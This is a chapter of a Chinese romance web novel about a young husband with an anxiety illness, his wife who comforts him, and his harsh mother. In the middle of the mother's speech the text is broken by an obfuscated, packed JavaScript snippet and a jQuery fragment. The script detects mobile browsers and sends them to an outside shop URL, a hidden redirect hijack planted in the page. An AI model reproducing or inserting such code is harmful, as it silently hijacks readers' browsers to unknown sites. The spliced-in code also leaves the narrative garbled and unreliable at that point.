舟晚珊:“?”
“夫君是想抛弃我吗?”舟晚珊楚楚可怜状。
林灯意眼眸中闪过一丝痛色:“不是的,晚珊。”
“那你是什么意思?为什么突然说要和离?”
沉默,很久的沉默。
林灯意最终撇过头不去看舟晚珊可怜兮兮的双眸,用很小的声音说道:“我……配不上你,你不该被我蹉跎。”
舟晚珊是把耳朵凑近了林灯意的嘴才听清的,听完后她一刹那愣住了。
不配……?为什么不配?怎么就不配?她怎么会被他蹉跎?他怎么会有如此的想法?
一个个问题萦绕在她脑海,她一时不知道该先问哪个。
最终,她道:“夫君,你是怎么想的,能同我说说吗?我不太明白你的意思。虽然被母亲罚了,我感到委屈、伤心,但也没有到要和离的地步,你怎么会做如此想?”
林灯意身体颤了颤,熟悉的问题又来了:你是怎么想的?你能同我说说吗?
他不想说,他也不想知道答案。
答案这个东西太恐怖了,他每次都会被它吓得神魂不清。
也许,是他太懦弱了吧。
他低着头,手抱住脑袋,尽量把自己蜷缩在一个小角落里,身体不自觉地发抖起来,像是被风吹个不停的小草,死死咬住嘴唇,默默忍受痛苦袭来。
舟晚珊看着他这样,就知道他又犯病了,她后悔地打了一下自己的嘴唇,欸,干嘛这么多嘴呀?林灯意对过度的深究容易脏躁,上次不就是这样吗?她怎么还不长记性?
她对所有事情有疑必追,可他却恰恰相反,对此避之不及。
她应该考虑他的感受的,虽然……舟晚珊咬了下唇一下,想到某个封存在记忆深处的场景,又悄无声息地把它藏回去。
虽然这会让她很害怕。
没错,就是害怕,她害怕这种无知无觉的感受,害怕疑问得不到解答,害怕眼前迷雾重重,看不清真相。
可是,林灯意比她还要害怕。
舟晚珊的身子微颤了一下,决定还是照顾一下林灯意的感受,以后千万要记住不要再引起他的心疾了。
他们是夫妻,应该互相包容、互相关爱。
“罗棋,快给夫君他吃药!”
罗棋很快从瓶子里拿出一个药丸,喂着林灯意吃下去。
两人一左一右拉着林灯意,把他拖到床上躺下。
林灯意起先手抱着脑袋,死死不肯松开,后来舟晚珊在他耳边道:“灯意,别怕,有我在呢,别怕,我们到床上去,好吗?”
舟晚珊把自己的手递给林灯意,让他握着,林灯意的手试探着握了一下舟晚珊,然后就像抓住救命稻草一样握紧不松。
舟晚珊于是另一只手搭着他的腰,和罗棋一起把他拖到床上。
他的腰很瘦,干劲有力,令她有些心疼,这是多么自律锻炼才能有这样的腰,又是多么繁忙一心扑在林家才会这么瘦削。
把林灯意放在床上后,舟晚珊就坐在床边照看着他。
他的手紧紧攥着她,让她有些吃痛,但她忍住没有说,任由他握着。
她轻轻拍着他的脑袋,嘴里哼着安睡的小调,宛如慈母。
林灯意渐渐放松下来,手不再攥得那么紧了,呼吸也逐渐平稳下来,他感到自己很累很累,有什么力量要把他拉入梦境,沉沉睡去。
他正想要听从那股力量睡去,突然想到还有舟晚珊在等他,他猛地睁开眼睛,呼吸一下被打乱,舟晚珊被吓了一跳,连忙问:“怎么了?”
“我……我,你……你……”
“我在,别怕。你累了吧?先睡吧,睡醒了再说别的事情,好吗?”舟晚珊柔声开口。
林灯意沉默一会,轻轻点头:“嗯。”
舟晚珊就这样握着林灯意的手,拍着他的脑袋,哄他睡觉了。
等到林灯意醒来时,他只觉得神清气爽,像是脱胎换骨了一般,转头看,舟晚珊还在床边,她正撑着脑袋睡觉。
林灯意不敢打扰她,轻手轻脚地起床,然后把她移到床中间让她躺着,不料舟晚珊睡得浅,直接醒了。
她揉了揉眼睛,待视线聚焦,道:“夫君,你醒啦!好点了没有?我刚才看着你睡觉,就被你的瞌睡感染了,也昏昏欲睡,嘿嘿,见笑啦。”
“要不再休息一会?”
“不用啦,”舟晚珊伸了个懒腰,然后眼睛亮晶晶地看着他,“我不困了!”
林灯意看着她,过一会才说:“你不用再抄《女则》了,母亲那边我会去说的。”
舟晚珊听后有些犹豫:“会不会有些为难你了?”
“不会的,”顿了顿,又补充,“你的事情是最重要的。”
舟晚珊突然给了他一个大大的拥抱:“啊,夫君你真好,我好喜欢你哦!”然后啵唧一下亲了他的脸一口。
林灯意的脸瞬间如被火烤过一般红了,他撇过头,眼睛不敢看她。
这个吻来得突然,去得也快,林灯意还没来得及有所反应,吻就结束了。
他有些回味,又有些害怕——他好像越来越依恋舟晚珊了。他的心总是随舟晚珊的一举一动而起起伏伏,像被小孩子拿着的玩具,一刻不停地波折、运动。
这是件好事吗?
某种超出掌控的情感在他心中悄悄生长起来,这种情感甜蜜而危险,他有点想摆脱掉它,却又不舍得。
他看着舟晚珊,她明媚而有朝气,与他完全不同,可是他却沉醉其中。
最终,他不敢面对内心的矛盾,匆匆离开,借口去找柳氏收回惩罚。
舟晚珊目送他离去,转而深思起来。林灯意是不是喜欢上她了?他从前总是和她意见相左,两人的矛盾重重,经常有要吵架的趋势,可是现在他多么护着她呀,不愿叫她受一点委屈。
所以,他是喜欢上她了吧?
那她呢?有没有喜欢林灯意?
舟晚珊想起林灯意的剑眉星目,他深沉的、温柔的眼睛,他瘦削的腰,他的言语,他的笑意,想着想着,脸微微泛红。
好像自己也有点离不开他了呢。
——
林灯意来到柳氏的蕉院,先是和柳氏行礼问好,然后才说明自己的来意。
柳氏听完儿子的要求后脸顿时黑了:“你这妻子品行不端,行为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788037|210241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
乖张,我不过是让她抄抄《女则》以涵养身心,这你也要反对?”
林灯意看着柳氏,真诚道:“母亲,晚珊若有什么地方做的不好,是儿子没有好好教导她,您要罚就罚儿子吧。”
“你……你这孽子,你以为我不敢罚你吗?”
“母亲但罚无妨,只求你能宽恕晚珊。”
“那你就好好跪着反省吧。”
柳氏说完就离开了,林灯意顺从地跪在地上。
夜渐深,蕉院很安静,仿佛没有人似的。只有知了鸣叫着,噪音听得人心烦,但林灯意的心很平静。
总归也不是第一次被罚了,他早就习惯了,若无其事地跪着,脑子里的思绪已经飘到天外了。
舟晚珊现在在干嘛呢?
她有没有好好吃饭?
他这么久没回去,她会不会担心他呢?
担心……一想到她会因此担心,那么此时的惩罚也仿佛有了别样的意义。
林灯意胡思乱想的时候,柳氏在卧房里问侍女:“他跪了多久了?”
“回夫人,两个时辰。”
“哎,真是个执拗性子,他也大了,我不好罚得太过,只是他也太糊涂了,他这样要叫我怎么办呢?”柳氏叹了口气。
“公子一定能明白您的良苦用心的。”
“算了,让他起来回去吧,就说舟氏不必抄《女则》了。”
“是。”
林灯意起来的时候,膝盖已经红肿了,罗棋小心地扶着他一瘸一拐地走回梨院。
看到林灯意这个样子的舟晚珊瞬间明白,他被柳氏罚了。
她扶着林灯意坐下,愧疚涌上心头:“她要罚你,你怎么也不知变通一下!欸,都是我不好,不应该让你去的。反正我清闲的时候很多,抄写就当打发时间了。可是你每天这么忙,还受伤了,这可怎么办?”
“不妨事的,这还算轻的呢,以前比这罚的要重许多,我还不是照样该怎么过怎么过。”林灯意轻笑了一下,把很心酸的事说的轻松。
他本意是不想让舟晚珊担心,却适得其反了。
舟晚珊更加心疼和愧疚,还有些震惊和愤怒:“她怎么能这样对自己的孩子?!就算以前不说,现在你都这么大个人了,她也丝毫不给你留情面,你是她亲生的吗?呜呜呜,都是我不好,让你受苦了!”
“别这么说母亲,她应该也有自己的苦衷。”
舟晚珊摇了摇头,正色道:“灯意,我知道你心软,总是会先考虑别人,站在别人的角度思考,但是,你首先是你自己,然后再是其他身份。”
“母亲她对你动辄惩罚,你觉得这是为你好吗?可是,她让你处于这样一个不安全的环境下,你会过度害怕,你的内心会长期失衡,你甚至因此,或者至少有一部分原因因此产生疾病,需要时刻带着药物治疗。”
“我想,这些和她对你的教育方式有着密切的干系。她完全可以以另一种温和有力的方式教导你,但她只顾着自己的方便,不愿花时间思考、采用这种方式,于是她的过错全都由你承担。”
“我这样说,你还觉得她的教育方式对吗?你还觉得她是为你好吗?”